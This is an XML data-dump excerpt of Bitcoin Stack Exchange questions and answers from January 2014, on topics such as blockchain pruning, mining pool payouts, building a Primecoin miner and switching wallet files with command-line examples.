LastActivityDate="2014-01-05T23:04:49.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19918" PostTypeId="2" ParentId="17857" CreationDate="2014-01-05T23:07:47.410" Score="0" Body="&lt;p&gt;Well I'm looking at this combinations :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btc-e -&gt; egopay.com -&gt; payeer.com -&gt; direct card deposit (visa OR mastercard international)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;okpay does not let you deal with money from crypto coins exchanges but you can still cashout money from egopay / payeer / etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So another option is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btc-e -&gt; egopay.com -&gt; okpay -&gt; okpay card&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the transfers will cost a lot of money ... I'm still looking for a better option ..&lt;/p&gt;&#xA;" OwnerUserId="11821" LastActivityDate="2014-01-05T23:07:47.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19920" PostTypeId="1" AcceptedAnswerId="19928" CreationDate="2014-01-05T23:49:05.160" Score="12" ViewCount="6696" Body="&lt;p&gt;How can the blockchain be pruned?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the blockchain is tamper-proof thus cannot be changed, how can the data be removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be as explicit as possible.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2018-12-19T18:17:12.393" Title="How explicitly can the blockchain be pruned?" Tags="|blockchain|pruning|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19921" PostTypeId="2" ParentId="19914" CreationDate="2014-01-05T23:52:57.027" Score="1" Body="&lt;p&gt;6 january 2014&#xA;Bitcoin blockchain: 14.9 GB (the size of the /data/blocks folder)&lt;/p&gt;&#xA;" OwnerUserId="11823" LastActivityDate="2014-01-05T23:52:57.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19922" PostTypeId="1" CreationDate="2014-01-06T00:59:44.593" Score="3" ViewCount="281" Body="&lt;p&gt;I'm on Windows. Would it be a good idea to load up &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt; in a &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_machine#System_virtual_machines&quot; rel=&quot;nofollow&quot;&gt;virtual machine&lt;/a&gt; running &lt;a href=&quot;http://en.wikipedia.org/wiki/Ubuntu_%28operating_system%29&quot; rel=&quot;nofollow&quot;&gt;Ubuntu&lt;/a&gt;? What are some disadvantages I might run into?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking it would be secure as everything is in the virtual machine, and I can easily copy that virtual machine out to another computer if it ever crashed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also plan to run other &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;crypto currencies&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="1405" LastEditDate="2014-01-06T21:07:53.110" LastActivityDate="2014-03-08T03:54:39.363" Title="I'm mainly on a Windows system. What are some advantages and disadvantages of setting up Bitcoin-Qt in a Linux virtual machine?" Tags="|security|litecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19923" PostTypeId="2" ParentId="19913" CreationDate="2014-01-06T01:20:01.340" Score="3" Body="&lt;p&gt;As you mine, you earn shares. The more hashes you do, the more shares you earn. PPLNS means that every time the pool mines a block, shares of the reward are distributed to the miners that mined the most recent shares. Often, N is chosen as twice the difficulty. So if, on average, a block will be found every one billion shares, the block reward is divided to those who submitted the last two billion shares when the block was found.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-01-06T01:43:59.497" LastActivityDate="2014-01-06T01:43:59.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19925" PostTypeId="2" ParentId="7342" CreationDate="2014-01-06T01:34:30.940" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://btxtrader.com&quot; rel=&quot;noreferrer&quot;&gt;BTX Trader&lt;/a&gt; will let you &lt;a href=&quot;http://blog.btxtrader.com/post/67381472043/prevent-bitcoin-trading-losses-with-stop-limit-orders&quot; rel=&quot;noreferrer&quot;&gt;create stop-loss orders&lt;/a&gt; on top of your account on Bitstamp, BTC-E, Mt. Gox, BTC China and CampBX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not same as an exchange-hosted stop-loss order but a close second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I'm one of the founders of BTX Trader.&lt;/p&gt;&#xA;" OwnerUserId="11824" LastActivityDate="2014-01-06T01:34:30.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19927" PostTypeId="2" ParentId="19904" CreationDate="2014-01-06T02:44:44.433" Score="2" Body="&lt;p&gt;Regarding pools: when working for a pool, the computer who solves the block doesn't credit its owner directly - it rather credits the pool's bitcoin address. The pool manager then tallies how much work each of the pooled miners delivered for the block, and proceeds to pay them proportionally to it - minus the fee the pool takes, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exception is a P2Pool, which work with no centralized pool manager. In these type of pools, each of the peers in the pool ensure they're appropriately credited for their work when a candidate block solution arises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, you can configure your 2 solo-mining computers to either use each their own address or one for both. And no: even if both were using their own addresses and working independently, the processing power of the slower one is not completely wasted. Solving a block is highly random, there's not much chance both would be trying the exact same nonces in sequence. Rather, they'd each try a different set of nonces to solve the block. Obviously, in the long run the faster one will find answers more frequently than the slower one.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-06T02:44:44.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19928" PostTypeId="2" ParentId="19920" CreationDate="2014-01-06T03:58:49.973" Score="7" Body="&lt;p&gt;&lt;strong&gt;The blockchain itself cannot be pruned.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block is verified through hashing all its data and a random nonce to find a hash that has a certain number of leading zeroes. If you even removed a single little bit of data from a block, the resulting hash would be changed. As most likely the new hash would not fulfill the difficulty requirement, the proof of work would have been destroyed. You'd have to create a new block to take its place. Then however, you would also have to recreate all subsequent block, as the parent's hash (think of it as a fingerprint) is included in its children block, i.e. if you change the parent, the whole blockchain succeeding from it becomes invalid as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What can happen&lt;/strong&gt; is that the database of verified transactions that Bitcoin-Qt clients store is pruned. So far, after verifying each block, full clients keep every transaction that has ever happened locally. Instead, you could only keep the transactions in your database of which the outputs have not been spent yet.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-01-06T03:58:49.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19929" PostTypeId="1" AcceptedAnswerId="19930" CreationDate="2014-01-06T04:00:48.407" Score="1" ViewCount="199" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#general_format_.28inside_a_block.29_of_each_input_of_a_transaction_-_Txin&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;, it appears as if the previous transaction's index is referenced but not the block in which it's in.  Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are transactions stored in the database that doesn't make referencing the previous transaction's block index necessary for performance?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-01-06T06:32:16.950" Title="Do transactions reference the containing block of the previous transaction?" Tags="|transactions|blockchain|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19930" PostTypeId="2" ParentId="19929" CreationDate="2014-01-06T06:32:16.950" Score="3" Body="&lt;p&gt;If it were not this way, transaction generation would be slow and fragile. First, you couldn't form a transaction unless you knew which block all its outputs were in, which would mean you'd have to wait until they get in a block. Worse, if there were a blockchain reorganization, it would be impossible to recover many transactions because recovering their parents would change what block they're in, invalidating their children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that nodes generally keep an efficient table of all unspent outputs, indexed by transaction ID.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-06T06:32:16.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19931" PostTypeId="2" ParentId="19904" CreationDate="2014-01-06T06:36:45.953" Score="2" Body="&lt;p&gt;I think you have a misunderstanding about how solo mining works. You don't keep using the same address. You generate an ephemeral address and, if you mine a block, you keep its private key and then start using a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both miners are getting work from the same node, then the node will never assign both miners the same work. If both miners are getting work from different nodes, then they will get different ephemeral addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If I recall correctly, at one time addresses were reused for mining. But this could cause a very serious problem even with only one miner -- two coinbase transactions in two different blocks could have the same transaction ID!)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-01-06T06:45:36.457" LastActivityDate="2014-01-06T06:45:36.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19932" PostTypeId="1" AcceptedAnswerId="19938" CreationDate="2014-01-06T06:46:28.287" Score="5" ViewCount="1374" Body="&lt;p&gt;I installed bitcoind on my centos server and was wondering if there was a gui that can control everything the bitcoind does. Would be nice check balance, send funds, create wallets via the browser.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="64715" LastEditDate="2017-11-16T04:01:09.980" LastActivityDate="2017-11-16T04:01:09.980" Title="Is there a gui to manage the bitcoind server via a browser?" Tags="|wallet|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19934" PostTypeId="2" ParentId="182" CreationDate="2014-01-06T06:54:57.943" Score="2" Body="&lt;p&gt;Although a simple question, &quot;What gives Bitcoin value?&quot;, the answer is not as simple as the question.  What gives Bitcoin it’s value, can best be answer by the formula &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PB = (SW + TX) / BC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of a Bitcoin is derived from the total value of the Bitcoin used for storage of wealth (SW) plus the total amount of the Bitcoin required for concurrently transacting in it (TX).  The sum of these two numbers divided by the amount of Bitcoins in circulation (BC) (currently 12.2 million, ultimately 21 million), will give you the price of Bitcoin (PB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are estimates of the total amount of gold in existence (mined) in the $10-13 Trillion range. If $1 Trillion (10%) of the amount of wealth that would have gone into gold, instead lands in Bitcoin, that would increase the price of Bitcoin to ($1Trillion + TX) / 12.2 million, or by $83,000 per Bitcoin.  Remember, this leaves out the TX component, which will further increase the price of Bitcoin.  Over time, funds will shift from other asset classes being used for wealth storage to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many advantages to storing wealth in Bitcoin as opposed to specifically gold, for example, as you can divide Bitcoin into very tiny pieces (difficult with gold) and you can send Bitcoin to someone on the other side of the planet within minutes (impossible with physical gold). These use cases illustrate why Bitcoin is a good alternative for gold (and other assets) for storage of wealth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a transaction perspective, as more citizens, businesses, and governments transact in Bitcoin, the amount of ‘wealth’ that must be placed into Bitcoin must be large enough to allow these transactions to happen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if it becomes common place for real-estate purchase payments to be processed via Bitcoin, then the amount of value in Bitcoin required to allow this to happen will need to be as large as the current working set of real estate transactions in progress.  This logic applies to online sales and brick and mortar sales.  If, on a daily basis, $250 Billion is required to allow all Bitcoin transactions to occur, the Bitcoin price only in terms of TX requirements, is $20,500.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price of Bitcoin (PB) = (SW + TX) / BC.  SW and TX will both change as time passes. In geek terms, SW, TX, and BC are functions of time f(t). Therefore to more accurately predict the price of Bitcoin, you need to estimate these two components for a given time, and then divide by the number of Bitcoins in circulation.  BC can easily be obtained from many websites and is updated live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin works well as a storage of value and for financial transactions, therefore it will often be used as a substitute for both currency as well as common wealth storage assets (e.g., gold).  Bitcoins utility (global register – the block chain) is what makes this possible.  The worth of Bitcoin comes into play because of this utility, wealth storage and transactions will happen ontop of this platform.  And using the formula above, the price of Bitcoin (PB) can be computed by estimates of these two quantities. &lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2014-01-06T06:54:57.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19936" PostTypeId="1" CreationDate="2014-01-06T09:30:54.390" Score="0" ViewCount="545" Body="&lt;p&gt;I am playing around with testnet and bitcoin rpc. I have send a test transaction of 1 bitcoin as can be seen  &lt;a href=&quot;http://blockexplorer.com/testnet/tx/ed12a76a1ac113f7bccce2a2ce815aee2346a3c4ba0b6f55d4064cc9dc036cbc&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; however in my wallet it still shows that the account has 5.2 bitcoin which is what it had before I sent the transaction. I have waited for 80 confirmations and still not change address has shown up and the bitcoins still seem to be in my wallet even though the blockchain clearly shows them as being sent. Can anyone explain what is going on I have never had this behavior when using any other wallet not with testnet which is why I am so confused by this.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2014-01-06T09:30:54.390" Title="Transaction not showing in wallet" Tags="|transactions|json-rpc|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19937" PostTypeId="2" ParentId="17880" CreationDate="2014-01-06T09:34:08.063" Score="0" Body="&lt;p&gt;Check this &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;https://github.com/samr7/vanitygen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# git clone https://github.com/samr7/vanitygen&#xA;# cd vanitygen&#xA;# make&#xA;# ./vanitygen -N NAME&#xA;Difficulty: 78508&#xA;Pattern: NAME                                                                  &#xA;Address: NAMEuWT2icj3ef8HWJwetZyZbXaZUJ5hFT&#xA;Privkey: 74pxNKNpByQ2kMow4d9kF6Z77BYeKztQNLq3dSyU4ES1K5KLNiz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thereafter, simple import &lt;code&gt;privkey&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11288" LastActivityDate="2014-01-06T09:34:08.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19938" PostTypeId="2" ParentId="19932" CreationDate="2014-01-06T09:37:06.720" Score="1" Body="&lt;p&gt;Looks, like it is 50 strings php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/PHP_developer_intro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13849/how-do-we-talk-to-bitcoind-in-a-php-plugin&quot;&gt;https://bitcoin.stackexchange.com/questions/13849/how-do-we-talk-to-bitcoind-in-a-php-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, read this &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1tvn12/best_way_to_programatically_receive_and_send/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1tvn12/best_way_to_programatically_receive_and_send/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the rest, &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-python&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin-python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11288" LastActivityDate="2014-01-06T09:37:06.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19939" PostTypeId="2" ParentId="19910" CreationDate="2014-01-06T09:46:48.317" Score="1" Body="&lt;p&gt;Probably, you are looking for this: &lt;a href=&quot;http://www.peercointalk.org/index.php?topic=798.0&quot; rel=&quot;nofollow&quot;&gt;http://www.peercointalk.org/index.php?topic=798.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.peercointalk.org - is a official forum of ppcoin and primecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short instruction for &lt;strong&gt;Ubuntu 13.10 Saucy Salamander x64&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Update &amp;amp; upgrade repositories and install build tools&#xA;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&#xA;sudo apt-get install build-essential git&#xA;&#xA;# Install xolominer dependencies&#xA;sudo apt-get install libssl-dev libgmp-dev libboost-chrono1.54-dev libboost-filesystem1.54-dev libboost-system1.54-dev libboost-program-options1.54-dev libboost-thread1.54-dev&#xA;&#xA;# Get db4.8 source, compile and install&#xA;wget http://download.oracle.com/berkeley-db/db-4.8.30.NC.tar.gz&#xA;tar -xzvf db-4.8.30.NC.tar.gz&#xA;cd db-4.8.30.NC/build_unix&#xA;../dist/configure --enable-cxx&#xA;make&#xA;sudo make install&#xA;&#xA;# Tell your system where to find db4.8&#xA;export BDB_INCLUDE_PATH=&quot;/usr/local/BerkeleyDB.4.8/include&quot;&#xA;export BDB_LIB_PATH=&quot;/usr/local/BerkeleyDB.4.8/lib&quot;&#xA;sudo ln -s /usr/local/BerkeleyDB.4.8/lib/libdb-4.8.so /usr/lib/libdb-4.8.so&#xA;sudo ln -s /usr/local/BerkeleyDB.4.8/lib/libdb_cxx-4.8.so /usr/lib/libdb_cxx-4.8.so&#xA;&#xA;# Pull the xolominer source from github&#xA;cd&#xA;git clone https://github.com/thbaumbach/primecoin.git xolominer&#xA;&#xA;# Go to source and compile the code&#xA;cd xolominer/src&#xA;make -f makefile.unix&#xA;# Start mining&#xA;./primeminer -pooluser=[xpm-payout-address] -poolip=[choose-your-server] -poolport=1337 -genproclimit=[threads-to-use] -poolpassword=[some-random-password-for-protection]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11288" LastActivityDate="2014-01-06T09:46:48.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19940" PostTypeId="2" ParentId="11977" CreationDate="2014-01-06T11:05:59.720" Score="0" Body="&lt;p&gt;you've guessed correctly, you can just move (&lt;code&gt;REN&lt;/code&gt; for &lt;code&gt;rename&lt;/code&gt; in Windows) the wallet to another filename with bitcoin-qt not running, start it back up and it will create a new wallet.dat. here's an example using americancoind on the Linux command line, hopefully you can extrapolate to using the Bitcoin GUI. note that you need to start the program with the &lt;code&gt;-rescan&lt;/code&gt; option after each time you swap the wallet, or you will not see your funds, as described here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10974/import-wallet-dat-into-a-new-bitcoin-qt-client&quot;&gt;Import wallet.dat into a new Bitcoin-Qt client&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it gets a little tricky sending funds from one account to another this way, though. note that I'm &lt;em&gt;not&lt;/em&gt; showing the output, by the shell, of the jobs starting and stopping in the background, because it can be unnecessarily confusing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind stop&#xA;Americancoin server has now stopped running!&#xA;jcomeau@aspire:~/.americancoin$ mv wallet.dat my_wallet.dat&#xA;jcomeau@aspire:~/.americancoin$ americancoind &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wait a minute or so here, for the last 2500 blocks to be verified, before the RPC server starts...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind getnewaddress ''&#xA;AzpvNNAUFYjW79uCS1Q9ALNSVhABqrUC1U&#xA;jcomeau@aspire:~/.americancoin$ americancoind stop&#xA;Americancoin server has now stopped running!&#xA;jcomeau@aspire:~/.americancoin$ mv wallet.dat group_wallet.dat&#xA;jcomeau@aspire:~/.americancoin$ mv my_wallet.dat wallet.dat&#xA;jcomeau@aspire:~/.americancoin$ americancoind -rescan &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wait another two minutes or so, there's more to do with &lt;code&gt;-rescan&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$  americancoind walletpassphrase MyPassFrazeYeahRight 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that unlocks the wallet for 60 seconds, assuming you have set a passphrase for it... in Linux, precede the command with a space so that Bash doesn't store the passphrase in your .bash_history file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind settxfee 0.0&#xA;true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;true&lt;/code&gt; above was the output of the command. you don't really want to lose any money shuffling funds between accounts, do you?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind sendtoaddress AzpvNNAUFYjW79uCS1Q9ALNSVhABqrUC1U 1.0&#xA;9982de4dc77eab126d2ad4837db477577bbeee733ef381c1889576cfbd328473&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you probably ought to cut-and-paste the address to avoid mistakes! again, the 2nd line is the output of the command, the transaction number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind stop&#xA;Americancoin server has now stopped running!&#xA;jcomeau@aspire:~/.americancoin$ mv wallet.dat my_wallet.dat&#xA;jcomeau@aspire:~/.americancoin$ mv group_wallet.dat wallet.dat&#xA;jcomeau@aspire:~/.americancoin$ americancoind -rescan &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you wait about 20 minutes; enough time for the transaction to have been packaged into a block, then 6 confirmations at about 1.5 minutes each. finally:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~/.americancoin$ americancoind getbalance&#xA;1.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just remember to shutdown the program before each change of wallet, and to startup with &lt;code&gt;-rescan&lt;/code&gt; afterwards (or however it's done with bitcoin-qt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if something doesn't work, there's more info on this process here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19971/coin-seems-to-have-gone-to-a-duplicate-address&quot;&gt;coin seems to have gone to a duplicate address&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-01-07T19:14:21.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19945" PostTypeId="1" CreationDate="2014-01-06T14:06:00.623" Score="4" ViewCount="7147" Body="&lt;p&gt;I was under the impression that the &lt;code&gt;-rescan&lt;/code&gt; flag was no longer needed for some time now. Can someone document precisely, when does one need to run &lt;code&gt;bitcoin-qt -rescan&lt;/code&gt;? How has this changed throughout the versions of &lt;code&gt;bitcoin-qt&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-08-19T07:53:31.337" LastActivityDate="2016-08-19T07:53:31.337" Title="When do you need to run bitcoin-qt -rescan?" Tags="|bitcoin-core|rescan|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19946" PostTypeId="2" ParentId="14081" CreationDate="2014-01-06T14:06:51.657" Score="3" Body="&lt;p&gt;For me, the Best solution is to mine &lt;strong&gt;Scrypt&lt;/strong&gt; based currencies like &lt;strong&gt;Litecoin&lt;/strong&gt; etc.&lt;br /&gt;&#xA;You can mine them easily with common Graphic cards which are easily available. You can then trade these currencies for Bitcoin if you want.&lt;br /&gt;&#xA;It will probably take more than a year before the first Asics for Scrypt will be available. So you still have some time left. Even when Asics arrive your Graphic cards will still have some value and can be used for something else (i.e. gaming).&lt;/p&gt;&#xA;" OwnerUserId="3908" LastEditorUserId="3908" LastEditDate="2023-01-11T20:42:26.823" LastActivityDate="2023-01-11T20:42:26.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19950" PostTypeId="1" AcceptedAnswerId="19970" CreationDate="2014-01-06T15:08:36.223" Score="23" ViewCount="54328" Body="&lt;p&gt;I understand that all the Bitcoin protocol is based on an asymmetric cryptography. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user gets 2 keys (public and private). How do these keys connect to the Bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are the keys are related to the wallet? How can I decide how many Bitcoins to transfer when using my private key?&lt;/p&gt;&#xA;" OwnerUserId="9894" LastEditorUserId="132" LastEditDate="2014-01-06T17:32:41.860" LastActivityDate="2017-07-24T22:30:16.923" Title="How are public and private keys related to the wallet?" Tags="|wallet|private-key|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19951" PostTypeId="1" CreationDate="2014-01-06T15:16:41.253" Score="2" ViewCount="8734" Body="&lt;p&gt;Before I install AMD APP SDK 2.8, I get this error from cgminer 3.7.2:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[2014-01-06 22:44:56] Error -1001: clGetPlatformsIDs failed (no OpenCL SDK installed?)&#xA;  [2014-01-06 22:44:56] clDevicesNum returned error, no GPUs usable&lt;br&gt;&#xA;  [2014-01-06 22:44:58] No devices detected!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After I install APP SDK 2.8, I get this window:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cgminer.exe has stopped working&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My graphics card is ATI Radeon HD 545v. I have tried both Catalyst 13.4 and 12.10. The software versions are all 64 bit (except miners).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing SDK 2.8, guiminer exits when I run it. Before installation it shows a window:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No OpenCL devices were found.&lt;br&gt;&#xA;  If you only want to mine using CPU or CUDA, you can ignore this message.&lt;br&gt;&#xA;  If you want to mine on ATI graphics cards, you may need to install the ATI Stream SDK, or your GPU may not support OpenCL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Question: How do I get to mining?&lt;/p&gt;&#xA;" OwnerUserId="11843" LastEditorUserId="5406" LastEditDate="2016-04-24T09:01:00.970" LastActivityDate="2017-12-22T10:13:00.463" Title="Cgminer not working with AMD APP SDK 2.8" Tags="|miner-configuration|cgminer|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19953" PostTypeId="2" ParentId="18173" CreationDate="2014-01-06T15:34:37.153" Score="2" Body="&lt;p&gt;Struggled with this for a while as well. You need to announce the transaction to your local node and the network via the &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#sendrawtransaction_.3Chex_string.3E&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sendrawtransaction&lt;/code&gt;&lt;/a&gt; call with the raw transaction id.&lt;/p&gt;&#xA;" OwnerUserId="11845" LastActivityDate="2014-01-06T15:34:37.153" CommentCount="0" CommunityOwnedDate="2014-01-06T15:34:37.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="19954" PostTypeId="2" ParentId="19785" CreationDate="2014-01-06T15:48:31.673" Score="-1" Body="&lt;p&gt;Actually it's not the form of the private key that is important, it is the fact that the public key is derived from the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically speaking the private key can be anything as long as the public key can be used to confirm that your private key was used to sign the transaction (or any other thing like a contract or a message). This is the purpose of the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way in which the public key is created from the private key is standardised, and that's all that matters from a bitcoin cryptography point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a security point of view, however, you need to be careful about how you decide your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with a private key that is easily crackable, like a song lyric or common phrase in any language is very dangerous. It can be cracked by simply from a rainbow table. Now imagine that you take that same rainbow table and hash every value, and then create public keys for each of your hashes... you still get the same result - very easy to discover the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to improve this security of this...&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-06T15:48:31.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19955" PostTypeId="2" ParentId="14081" CreationDate="2014-01-06T16:06:32.617" Score="-2" Body="&lt;p&gt;If you do want to mine, one way to do so without a capital investment is to use a contract mining site such as cex.io or cloudhashing.com. With cex.io at least you trade ghash/sec capacity allowing you to sell you ghash depending on price vs deifficulty or whatever metric you choose to use.&lt;/p&gt;&#xA;" OwnerUserId="9654" LastActivityDate="2014-01-06T16:06:32.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
